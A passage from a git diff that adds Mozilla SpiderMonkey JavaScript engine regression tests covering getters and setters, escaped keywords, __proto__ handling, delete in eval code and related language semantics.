+TestObject.prototype.__defineGetter__(cnName, cnNameGetter);
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+status = 'In SECTION3 of test after 1 set, 0 gets'; // (we set a default value in the prototype)
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,0];
+addThis();
+
+s = obj.name;
+status = 'In SECTION3 of test after 1 set, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [1,1];
+addThis();
+
+obj.name = cnFRED;
+status = 'In SECTION3 of test after 2 sets, 1 get';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [2,1];
+addThis();
+
+obj.name = obj.name;
+status = 'In SECTION3 of test after 3 sets, 2 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,2];
+addThis();
+
+obj2 = new TestObject();
+status = 'obj2 = new TestObject() after 1 set, 0 gets';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [1,0]; // we set a default value in the prototype -
+addThis();
+
+// Use both obj and obj2 -
+obj2.name = obj.name + obj2.name;
+status = 'obj2 = new TestObject() after 2 sets, 1 get';
+actual = [obj2.nameSETS,obj2.nameGETS];
+expect = [2,1];
+addThis();
+
+status = 'In SECTION3 of test after 3 sets, 3 gets';
+actual = [obj.nameSETS,obj.nameGETS];
+expect = [3,3]; // we left off at [3,2] above -
+addThis();
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/getset-006.js b/js/src/tests/non262/extensions/getset-006.js
new file mode 100644
index 0000000000..e7fe8c4212
--- /dev/null
+++ b/js/src/tests/non262/extensions/getset-006.js
@@ -0,0 +1,157 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ * Date: 14 April 2001
+ *
+ * SUMMARY: Testing obj.__lookupGetter__(), obj.__lookupSetter__()
+ * See http://bugzilla.mozilla.org/show_bug.cgi?id=71992
+ *
+ * Brendan: "I see no need to provide more than the minimum:
+ * o.__lookupGetter__('p') returns the getter function for o.p,
+ * or undefined if o.p has no getter. Users can wrap and layer."
+ */
+//-----------------------------------------------------------------------------
+var UBound = 0;
+var BUGNUMBER = 71992;
+var summary = 'Testing obj.__lookupGetter__(), obj.__lookupSetter__()';
+var statprefix = 'Status: ';
+var status = '';
+var statusitems = [ ];
+var actual = '';
+var actualvalues = [ ];
+var expect= '';
+var expectedvalues = [ ];
+var cnName = 'name';
+var cnColor = 'color';
+var cnNonExistingProp = 'ASDF_#_$%';
+var cnDEFAULT = 'default name';
+var cnFRED = 'Fred';
+var cnRED = 'red';
+var obj = {};
+var obj2 = {};
+var s;
+
+
+// The only setter and getter functions we'll use in the three sections below -
+var cnNameSetter = function(newValue) {this._name=newValue; this.nameSETS++;};
+var cnNameGetter = function() {this.nameGETS++; return this._name;};
+
+
+
+// SECTION1: define getter/setter directly on an object (not its prototype)
+obj = new Object();
+obj.nameSETS = 0;
+obj.nameGETS = 0;
+obj.__defineSetter__(cnName, cnNameSetter);
+obj.__defineGetter__(cnName, cnNameGetter);
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status ='In SECTION1 of test; looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION1 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION1 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+// SECTION2: define getter/setter in Object.prototype
+Object.prototype.nameSETS = 0;
+Object.prototype.nameGETS = 0;
+Object.prototype.__defineSetter__(cnName, cnNameSetter);
+Object.prototype.__defineGetter__(cnName, cnNameGetter);
+
+obj = new Object();
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status = 'In SECTION2 of test looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION2 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION2 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+// SECTION 3: define getter/setter in prototype of user-defined constructor
+function TestObject()
+{
+}
+TestObject.prototype.nameSETS = 0;
+TestObject.prototype.nameGETS = 0;
+TestObject.prototype.__defineSetter__(cnName, cnNameSetter);
+TestObject.prototype.__defineGetter__(cnName, cnNameGetter);
+TestObject.prototype.name = cnDEFAULT;
+
+obj = new TestObject();
+obj.name = cnFRED;
+obj.color = cnRED;
+
+status = 'In SECTION3 of test looking up extant getter/setter';
+actual = [obj.__lookupSetter__(cnName), obj.__lookupGetter__(cnName)];
+expect = [cnNameSetter, cnNameGetter];
+addThis();
+
+status = 'In SECTION3 of test; looking up nonexistent getter/setter';
+actual = [obj.__lookupSetter__(cnColor), obj.__lookupGetter__(cnColor)];
+expect = [undefined, undefined];
+addThis();
+
+status = 'In SECTION3 of test; looking up getter/setter on nonexistent property';
+actual = [obj.__lookupSetter__(cnNonExistingProp), obj.__lookupGetter__(cnNonExistingProp)];
+expect = [undefined, undefined];
+addThis();
+
+
+
+//---------------------------------------------------------------------------------
+test();
+//---------------------------------------------------------------------------------
+
+
+function addThis()
+{
+ statusitems[UBound] = status;
+ actualvalues[UBound] = actual.toString();
+ expectedvalues[UBound] = expect.toString();
+ UBound++;
+}
+
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ for (var i = 0; i < UBound; i++)
+ {
+ reportCompare(expectedvalues[i], actualvalues[i], getStatus(i));
+ }
+}
+
+
+function getStatus(i)
+{
+ return statprefix + statusitems[i];
+}
diff --git a/js/src/tests/non262/extensions/inc-dec-functioncall.js b/js/src/tests/non262/extensions/inc-dec-functioncall.js
new file mode 100644
index 0000000000..b4de03c6c0
--- /dev/null
+++ b/js/src/tests/non262/extensions/inc-dec-functioncall.js
@@ -0,0 +1,90 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 609756;
+var summary =
+ "Perform ToNumber on the result of the |fun()| in |fun()++| before " +
+ "throwing";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var hadSideEffect;
+
+function f()
+{
+ return { valueOf: function() { hadSideEffect = true; return 0; } };
+}
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { f()++; }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ f()++;
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { f()--; }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ f()--;
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { ++f(); }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ ++f();
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() { --f(); }, ReferenceError);
+assertEq(hadSideEffect, true);
+
+hadSideEffect = false;
+assertThrowsInstanceOf(function() {
+ for (var i = 0; i < 20; i++)
+ {
+ if (i > 18)
+ --f();
+ }
+}, ReferenceError);
+assertEq(hadSideEffect, true);
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js b/js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js
new file mode 100644
index 0000000000..260948cfed
--- /dev/null
+++ b/js/src/tests/non262/extensions/keyword-unescaped-requirement-modules.js
@@ -0,0 +1,99 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var badModules =
+ [
+ "\\u0069mport f from 'g'",
+ "i\\u006dport g from 'h'",
+ "import * \\u0061s foo",
+ "import {} fro\\u006d 'bar'",
+ "import { x \\u0061s y } from 'baz'",
+
+ "\\u0065xport function f() {}",
+ "e\\u0078port function g() {}",
+ "export * fro\\u006d 'fnord'",
+ "export d\\u0065fault var x = 3;",
+ "export { q } fro\\u006d 'qSupplier';",
+
+ ];
+
+if (typeof parseModule === "function")
+{
+ for (var module of badModules)
+ {
+ assertThrowsInstanceOf(() => parseModule(module), SyntaxError,
+ "bad behavior for: " + module);
+ }
+}
+
+if (typeof Reflect.parse === "function")
+{
+ var twoStatementAST =
+ Reflect.parse(`let x = 0;
+ export { x } /* ASI should trigger here */
+ fro\\u006D`,
+ { target: "module" });
+
+ var statements = twoStatementAST.body;
+ assertEq(statements.length, 3,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "VariableDeclaration");
+ assertEq(statements[1].type, "ExportDeclaration");
+ assertEq(statements[2].type, "ExpressionStatement");
+ assertEq(statements[2].expression.name, "from");
+
+ var oneStatementAST =
+ Reflect.parse(`export { x } /* no ASI here */
+ from 'foo'`,
+ { target: "module" });
+
+ assertEq(oneStatementAST.body.length, 1);
+ assertEq(oneStatementAST.body[0].type, "ExportDeclaration");
+
+ twoStatementAST =
+ Reflect.parse(`export { x } from "bar"
+ /bar/g`,
+ { target: "module" });
+
+ statements = twoStatementAST.body;
+ assertEq(statements.length, 2,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "ExportDeclaration");
+ assertEq(statements[1].type, "ExpressionStatement");
+ assertEq(statements[1].expression.type, "Literal");
+ assertEq(statements[1].expression.value.toString(), "/bar/g");
+
+ twoStatementAST =
+ Reflect.parse(`export * from "bar"
+ /bar/g`,
+ { target: "module" });
+
+ statements = twoStatementAST.body;
+ assertEq(statements.length, 2,
+ "should have two items in the module, not one ExportDeclaration");
+ assertEq(statements[0].type, "ExportDeclaration");
+ assertEq(statements[1].type, "ExpressionStatement");
+ assertEq(statements[1].expression.type, "Literal");
+ assertEq(statements[1].expression.value.toString(), "/bar/g");
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/keyword-unescaped-requirement.js b/js/src/tests/non262/extensions/keyword-unescaped-requirement.js
new file mode 100644
index 0000000000..20d3555e3d
--- /dev/null
+++ b/js/src/tests/non262/extensions/keyword-unescaped-requirement.js
@@ -0,0 +1,43 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1204027;
+var summary =
+ "Escape sequences aren't allowed in bolded grammar tokens (that is, in " +
+ "keywords, possibly contextual keywords)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var randomExtensions =
+ [
+ "for \\u0065ach (var x in []);",
+ "for e\\u0061ch (var x in []);",
+ "[0 for \\u0065ach (var x in [])]",
+ "[0 for e\\u0061ch (var x in [])]",
+ "(0 for \\u0065ach (var x in []))",
+ "(0 for e\\u0061ch (var x in []))",
+
+ // Soon to be not an extension, maybe...
+ "(for (x \\u006ff [1]) x)",
+ "(for (x o\\u0066 [1]) x)",
+ ];
+
+for (var extension of randomExtensions)
+{
+ assertThrowsInstanceOf(() => Function(extension), SyntaxError,
+ "bad behavior for: " + extension);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/mutable-proto-special-form.js b/js/src/tests/non262/extensions/mutable-proto-special-form.js
new file mode 100644
index 0000000000..b196507f25
--- /dev/null
+++ b/js/src/tests/non262/extensions/mutable-proto-special-form.js
@@ -0,0 +1,91 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 948583;
+var summary =
+ "Make __proto__ in object literals a special form not influenced by " +
+ "|Object.prototype|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var passed = true;
+
+function performProtoTests(msg)
+{
+ print("Testing " + msg);
+ assertEq(passed, true, "passed wrong at start of test set");
+
+ assertEq(Object.getPrototypeOf({ __proto__: null }), null);
+ assertEq(Object.getPrototypeOf({ __proto__: undefined }), Object.prototype);
+ assertEq(Object.getPrototypeOf({ __proto__: 17 }), Object.prototype);
+
+ var obj = {};
+ assertEq(Object.getPrototypeOf({ __proto__: obj }), obj);
+
+ assertEq(passed, true, "passed wrong at end of test set");
+ print("Tests of " + msg + " passed!");
+}
+
+function poisonProto(obj)
+{
+ Object.defineProperty(obj, "__proto__",
+ {
+ configurable: true,
+ enumerable: true,
+ set: function(v) { passed = false; },
+ });
+}
+
+performProtoTests("initial behavior");
+
+var desc = Object.getOwnPropertyDescriptor(Object.prototype, "__proto__");
+var setProto = desc.set;
+delete Object.prototype.__proto__;
+
+performProtoTests("behavior after Object.prototype.__proto__ deletion");
+
+Object.defineProperty(Object.prototype, "__proto__",
+ {
+ configurable: true,
+ enumerable: false,
+ set: function(v) { passed = false; },
+ });
+
+performProtoTests("behavior after making Object.prototype.__proto__ a " +
+ "custom setter");
+
+Object.defineProperty(Object.prototype, "__proto__", { set: undefined });
+
+performProtoTests("behavior after making Object.prototype.__proto__'s " +
+ "[[Set]] === undefined");
+
+try
+{
+ var superProto = Object.create(null);
+ poisonProto(superProto);
+ setProto.call(Object.prototype, superProto);
+
+ performProtoTests("behavior after mutating Object.prototype.[[Prototype]]");
+
+ // Note: The handler below will have to be updated to exempt a scriptable
+ // getPrototypeOf trap (to instead consult the target whose [[Prototype]]
+ // is safely non-recursive), if we ever implement one.
+ var death = new Proxy(Object.create(null),
+ new Proxy({}, { get: function() { passed = false; } }));
+
+ setProto.call(Object.prototype, death);
+
+ performProtoTests("behavior after making Object.prototype.[[Prototype]] a " +
+ "proxy that throws for any access");
+}
+catch (e) {}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js b/js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js
new file mode 100644
index 0000000000..7dfab04589
--- /dev/null
+++ b/js/src/tests/non262/extensions/nested-delete-name-in-evalcode.js
@@ -0,0 +1,85 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 616294;
+var summary =
+ "|delete x| inside a function in eval code, where that eval code includes " +
+ "|var x| at top level, actually does delete the binding for x";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var f;
+
+function testOuterLet()
+{
+ return eval("let x; (function() { return delete x; })");
+}
+
+f = testOuterLet();
+
+assertEq(f(), false); // can't delete lexical declarations => false
+
+
+function testOuterForLet()
+{
+ return eval("for (let x; false; ); (function() { return delete x; })");
+}
+
+f = testOuterForLet();
+
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterForInLet()
+{
+ return eval("for (let x in {}); (function() { return delete x; })");
+}
+
+f = testOuterForInLet();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // not there => true (only non-configurable => false)
+
+
+function testOuterNestedVarInForLet()
+{
+ return eval("for (let q = 0; q < 5; q++) { var x; } (function() { return delete x; })");
+}
+
+f = testOuterNestedVarInForLet();
+
+assertEq(f(), true); // configurable, so remove => true
+assertEq(f(), true); // there => true
+
+
+function testArgumentShadowLet()
+{
+ return eval("let x; (function(x) { return delete x; })");
+}
+
+f = testArgumentShadowLet();
+
+assertEq(f(), false); // non-configurable argument => false
+
+
+function testFunctionLocal()
+{
+ return eval("(function() { let x; return delete x; })");
+}
+
+f = testFunctionLocal();
+
+assertEq(f(), false); // defined by function code => not configurable => false
+
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/extensions/new-cross-compartment.js b/js/src/tests/non262/extensions/new-cross-compartment.js
new file mode 100644
index 0000000000..cae4b187df
--- /dev/null
+++ b/js/src/tests/non262/extensions/new-cross-compartment.js
@@ -0,0 +1,39 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 1178653;
+var summary =
+ "|new| on a cross-compartment wrapper to a non-constructor shouldn't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = newGlobal();
+
+var otherStr = new g.String("foo");
+assertEq(otherStr instanceof g.String, true);
+assertEq(otherStr.valueOf(), "foo");
+
+try
+{
+ var constructor = g.parseInt;
+ new constructor();
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ // NOTE: not |g.TypeError|, because |new| itself throws because
+ // |!IsConstructor(constructor)|.
+ assertEq(e instanceof TypeError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/new-parenthesization.js b/js/src/tests/non262/extensions/new-parenthesization.js
new file mode 100644
index 0000000000..a3aebf383f
--- /dev/null
+++ b/js/src/tests/non262/extensions/new-parenthesization.js
@@ -0,0 +1,21 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Jesse Ruderman
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 521456;
+var summary =
+ 'Incorrect decompilation of new (eval(v)).s and new (f.apply(2)).s';
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+function foo(c) { return new (eval(c)).s; }
+function bar(f) { var a = new (f.apply(2).s); return a; }
+
+assertEq(bar.toString().search(/new\s+f/), -1);
+assertEq(foo.toString().search(/new\s+eval/), -1);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js b/js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js
new file mode 100644
index 0000000000..8f2d47a11d
--- /dev/null
+++ b/js/src/tests/non262/extensions/newer-type-functions-caller-arguments.js
@@ -0,0 +1,94 @@
+// Tests that newer-type functions (i.e. anything not defined by regular function declarations and
+// expressions) throw when accessing their 'arguments' and 'caller' properties.
+
+// 9.2.7 (AddRestrictedFunctionProperties) defines accessors on Function.prototype which throw on
+// every 'get' and 'set' of 'caller' and 'arguments'.
+// Additionally, 16.2 (Forbidden Extensions) forbids adding properties to all non-"legacy" function
+// declarations and expressions. This creates the effect that all newer-style functions act like
+// strict-mode functions when accessing their 'caller' and 'arguments' properties.
+
+const container = {
+ async asyncMethod() {},
+ *genMethod() {},
+ method() {},
+ get getterMethod() {},
+ set setterMethod(x) {},
+};
+
+function* genDecl(){}
+async function asyncDecl(){}
+class classDecl {}
+class extClassDecl extends Object {}
+class classDeclExplicitCtor { constructor(){} }
+class extClassDeclExplicitCtor extends Object { constructor(){} }
+
+const functions = [
+ // Declarations
+ genDecl,
+ asyncDecl,
+ classDecl,
+ extClassDecl,
+ classDeclExplicitCtor,
+ extClassDeclExplicitCtor,
+
+ // Expressions
+ async function(){},
+ function*(){},
+ () => {},
+ async () => {},
+ class {},
+ class extends Object {},
+ class { constructor(){} },
+ class extends Object { constructor(){} },
+
+ // Methods
+ container.asyncMethod,
+ container.genMethod,
+ container.method,
+ Object.getOwnPropertyDescriptor(container, "getterMethod").get,
+ Object.getOwnPropertyDescriptor(container, "setterMethod").set,
+
+ // Bound functions
+ function(){}.bind(),
+
+ // Built-ins (native and self-hosted)
+ Function,
+ Function.prototype.bind,
+];
+
+const supportsAsyncGenerator = (function() {
+ try {
+ eval("async function* f(){}");
+ return true;
+ } catch (e) {
+ return false;
+ }
+})();
+
+if (supportsAsyncGenerator) {
+eval(`
+ async function* asyncGenDecl(){}
+
+ functions.push(asyncGenDecl);
+ functions.push(async function*(){});
+ functions.push({async* asyncGenerator(){}}.asyncGenerator);
+`);
+}
+
+functions.forEach(f => {
+ checkArgumentsAccess(f);
+ checkCallerAccess(f);
+});
+
+function checkArgumentsAccess(f) {
+ assertThrowsInstanceOf(() => f.arguments, TypeError,
+ `Expected 'arguments' property access to throw on ${f}`);
+}
+
+function checkCallerAccess(f) {
+ assertThrowsInstanceOf(() => f.caller, TypeError,
+ `Expected 'caller' property access to throw on ${f}`);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/non_syntactic.js b/js/src/tests/non262/extensions/non_syntactic.js
new file mode 100644
index 0000000000..941229df39
--- /dev/null
+++ b/js/src/tests/non262/extensions/non_syntactic.js
@@ -0,0 +1,39 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+// Check references to someVar, both as a variable and on |this|, in
+// various evaluation contexts.
+var someVar = 1;
+
+// Top level.
+assertEq(someVar, 1);
+assertEq(this.someVar, 1);
+
+// Inside evaluate.
+evaluate("assertEq(someVar, 1);");
+evaluate("assertEq(this.someVar, 1);");
+
+// With an object on the scope, no shadowing.
+var someObject = { someOtherField: 2 };
+var evalOpt = { envChainObject: someObject };
+evaluate("assertEq(someVar, 1);", evalOpt);
+evaluate("assertEq(this.someVar, undefined);", evalOpt);
+
+// With an object on the scope, shadowing global.
+someObject = { someVar: 2 };
+evalOpt = { envChainObject: someObject };
+var alsoSomeObject = someObject;
+evaluate("assertEq(someVar, 2);", evalOpt);
+evaluate("assertEq(this.someVar, 2);", evalOpt);
+evaluate("assertEq(this, alsoSomeObject);", evalOpt);
+
+// With an object on the scope, inside a function.
+evaluate("(function() { assertEq(someVar, 2);})()", evalOpt);
+evaluate("(function() { assertEq(this !== alsoSomeObject, true);})()", evalOpt);
+evaluate("(function() { assertEq(this.someVar, 1);})()", evalOpt);
+
+// `this` is ShellWindowProxy instead of GlobalObject, and it's allowed.
+evaluate("assertEq(someVar, 1);", { envChainObject: this });
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/extensions/object-toSource-override-on-getter.js b/js/src/tests/non262/extensions/object-toSource-override-on-getter.js
new file mode 100644
index 0000000000..f79499a52f
--- /dev/null
+++ b/js/src/tests/non262/extensions/object-toSource-override-on-getter.js
@@ -0,0 +1,14 @@
+// |reftest| skip-if(!Function.prototype.toSource)
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+let x = {};
+let y = function() {};
+y.toSource = function() {
+ return "[012345678901234567890123456789]";
+};
+Object.defineProperty(x, "", {enumerable: true, get: y});
+assertEq(x.toSource(), "({'':[012345678901234567890123456789]})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/object-toSource-undefined-getter.js b/js/src/tests/non262/extensions/object-toSource-undefined-getter.js
new file mode 100644
index 0000000000..7c8e3289a4
--- /dev/null
+++ b/js/src/tests/non262/extensions/object-toSource-undefined-getter.js
@@ -0,0 +1,11 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var desc = { get: undefined, set: undefined, configurable: true, enumerable: true };
+var obj = Object.defineProperty({}, "prop", desc);
+assertEq(obj.toSource(), "({})");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js b/js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js
new file mode 100644
index 0000000000..74ee7e9f31
--- /dev/null
+++ b/js/src/tests/non262/extensions/object-toSource-with-symbol-keys.js
@@ -0,0 +1,16 @@
+// |reftest| skip-if(!Object.prototype.toSource)
+
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var obj = {};
+obj[Symbol.iterator] = 1;
+assertEq(obj.toSource(), "({[Symbol.iterator]:1})");
+obj[Symbol(undefined)] = 2;
+obj[Symbol('ponies')] = 3;
+obj[Symbol.for('ponies')] = 4;
+assertEq(obj.toSource(),
+ '({[Symbol.iterator]:1, [Symbol()]:2, [Symbol("ponies")]:3, [Symbol.for("ponies")]:4})');
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js b/js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js
new file mode 100644
index 0000000000..dda67c95f3
--- /dev/null
+++ b/js/src/tests/non262/extensions/parse-rest-destructuring-parameter.js
@@ -0,0 +1,27 @@
+// |reftest| skip-if(!xulRuntime.shell)
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+function funArgs(params) {
+ return Reflect.parse(`function f(${params}) {}`).body[0].rest;
+}
+
+var arrayRest = funArgs("...[]");
+assertEq(arrayRest.type, "ArrayPattern");
+assertEq(arrayRest.elements.length, 0);
+
+arrayRest = funArgs("...[a]");
+assertEq(arrayRest.type, "ArrayPattern");
+assertEq(arrayRest.elements.length, 1);
+
+var objectRest = funArgs("...{}");
+assertEq(objectRest.type, "ObjectPattern");
+assertEq(objectRest.properties.length, 0);
+
+objectRest = funArgs("...{p: a}");
+assertEq(objectRest.type, "ObjectPattern");
+assertEq(objectRest.properties.length, 1);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/extensions/preventExtensions-cross-global.js b/js/src/tests/non262/extensions/preventExtensions-cross-global.js
new file mode 100644
index 0000000000..0cc68e0fb4
--- /dev/null
+++ b/js/src/tests/non262/extensions/preventExtensions-cross-global.js
@@ -0,0 +1,49 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs newGlobal()
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor:
+ * Jeff Walden <jwalden+code@mit.edu>
+ */
+
+var gTestfile = 'preventExtensions-cross-global.js';
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 789897;
+var summary =
+ "Object.preventExtensions and Object.isExtensible should work correctly " +
+ "across globals";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var otherGlobal = newGlobal();
+
+var obj = {};
+assertEq(otherGlobal.Object.isExtensible(obj), true);
+assertEq(otherGlobal.Object.preventExtensions(obj), obj);
+assertEq(otherGlobal.Object.isExtensible(obj), false);
+
+var objFromOther = otherGlobal.Object();
+assertEq(Object.isExtensible(objFromOther), true);
+assertEq(Object.preventExtensions(objFromOther), objFromOther);
+assertEq(Object.isExtensible(objFromOther), false);
+
+var proxy = new Proxy({}, {});
+assertEq(otherGlobal.Object.isExtensible(proxy), true);
+assertEq(otherGlobal.Object.preventExtensions(proxy), proxy);
+assertEq(otherGlobal.Object.isExtensible(proxy), false);
+
+var proxyFromOther = otherGlobal.evaluate("new Proxy({}, {})");
+assertEq(Object.isExtensible(proxyFromOther), true);
+assertEq(Object.preventExtensions(proxyFromOther), proxyFromOther);
+assertEq(Object.isExtensible(proxyFromOther), false);
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/extensions/proxy-array-target-length-definition.js b/js/src/tests/non262/extensions/proxy-array-target-length-definition.js
new file mode 100644
index 0000000000..c573c4ba08
--- /dev/null
+++ b/js/src/tests/non262/extensions/proxy-array-target-length-definition.js
@@ -0,0 +1,55 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+var gTestfile = 'proxy-array-target-length-definition.js';
+var BUGNUMBER = 905947;
